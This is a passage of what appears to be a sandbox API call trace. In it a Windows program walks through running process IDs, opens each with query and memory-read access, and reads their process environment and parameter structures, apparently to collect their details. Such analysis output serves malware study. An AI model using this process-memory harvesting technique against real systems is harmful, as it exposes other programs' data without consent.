CloseHandle (hObject=0x464) returned 1 [0286.391] _ui64tow_s (in: _Value=0x1050, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0286.397] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4176") returned 4 [0286.398] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.398] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.440] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0x464 [0286.440] GetLastError () returned 0x0 [0286.440] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.440] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.441] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.441] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.441] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.442] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.444] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.444] malloc (_Size=0x64) returned 0x196ef0d0370 [0286.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1954, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0286.445] free (_Block=0x196ef0d0370) [0286.446] CloseHandle (hObject=0x464) returned 1 [0286.446] _ui64tow_s (in: _Value=0x1058, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4184") returned 0x0 [0286.451] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4184") returned 4 [0286.453] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.453] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.490] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1058) returned 0x464 [0286.490] GetLastError () returned 0x0 [0286.490] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.490] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5ef018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.490] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.490] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.491] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.492] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.493] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.493] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5ef020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.493] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.493] malloc (_Size=0x72) returned 0x196ef0d31b0 [0286.493] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.494] free (_Block=0x196ef0d31b0) [0286.495] CloseHandle (hObject=0x464) returned 1 [0286.495] _ui64tow_s (in: _Value=0x1064, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0286.499] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4196") returned 4 [0286.500] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.500] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.530] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x464 [0286.530] GetLastError () returned 0x0 [0286.531] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x598018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x791cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.532] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7918f8, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.533] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.534] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.534] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x598020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.534] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.534] malloc (_Size=0x5e) returned 0x196ef0d0370 [0286.534] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x79194e, lpBuffer=0x196ef0d0370, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0286.535] free (_Block=0x196ef0d0370) [0286.536] CloseHandle (hObject=0x464) returned 1 [0286.536] _ui64tow_s (in: _Value=0x1074, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4212") returned 0x0 [0286.541] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4212") returned 4 [0286.542] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.542] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.561] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1074) returned 0x464 [0286.561] GetLastError () returned 0x0 [0286.562] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.562] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.562] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.562] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.563] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.564] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.567] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.567] malloc (_Size=0x9c) returned 0x196ef0d76a0 [0286.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46198c, lpBuffer=0x196ef0d76a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d76a0*, lpNumberOfBytesRead=0x0) returned 1 [0286.568] free (_Block=0x196ef0d76a0) [0286.569] CloseHandle (hObject=0x464) returned 1 [0286.570] _ui64tow_s (in: _Value=0x10b0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4272") returned 0x0 [0286.592] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4272") returned 4 [0286.593] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.593] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.610] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b0) returned 0x464 [0286.610] GetLastError () returned 0x0 [0286.611] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.611] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x256018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.611] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.611] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491e40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.612] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4919f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.613] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.615] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.615] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x256020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.615] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4913e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.615] malloc (_Size=0xbc) returned 0x196ef0d4e70 [0286.615] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491a64, lpBuffer=0x196ef0d4e70, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0286.616] free (_Block=0x196ef0d4e70) [0286.617] CloseHandle (hObject=0x464) returned 1 [0286.617] _ui64tow_s (in: _Value=0x1120, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4384") returned 0x0 [0286.646] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4384") returned 4 [0286.647] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.647] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.672] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1120) returned 0x464 [0286.672] GetLastError () returned 0x0 [0286.673] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.673] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x670db0018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.673] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.673] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761bd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.673] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761818, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.675] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.676] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.676] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x670db0020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.676] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.676] malloc (_Size=0x76) returned 0x196ef0d2120 [0286.676] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761864, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0286.678] free (_Block=0x196ef0d2120) [0286.678] CloseHandle (hObject=0x464) returned 1 [0286.679] _ui64tow_s (in: _Value=0x13dc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="5084") returned 0x0 [0286.683] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="5084") returned 4 [0286.685] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.685] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.727] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13dc) returned 0x0 [0286.727] CloseHandle (hObject=0x0) returned 0 [0286.727] _ui64tow_s (in: _Value=0x1334, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4916") returned 0x0 [0286.731] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4916") returned 4 [0286.732] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.732] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.748] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1334) returned 0x464 [0286.748] GetLastError () returned 0x0 [0286.749] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.749] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x239018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.749] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.750] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.750] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618c8, lpBuffer=0x670f7c2b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.752] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.753] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.753] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x239020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.753] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.754] malloc (_Size=0x78) returned 0x196ef0d2120 [0286.754] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56193a, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0286.755] free (_Block=0x196ef0d2120) [0286.755] CloseHandle (hObject=0x464) returned 1 [0286.756] _ui64tow_s (in: _Value=0xac8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2760") returned 0x0 [0286.760] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2760") returned 4 [0286.761] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.761] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.789] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x464 [0286.789] GetLastError () returned 0x0 [0286.790] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.790] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x34e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.790] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.790] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.790] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618c8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.791] 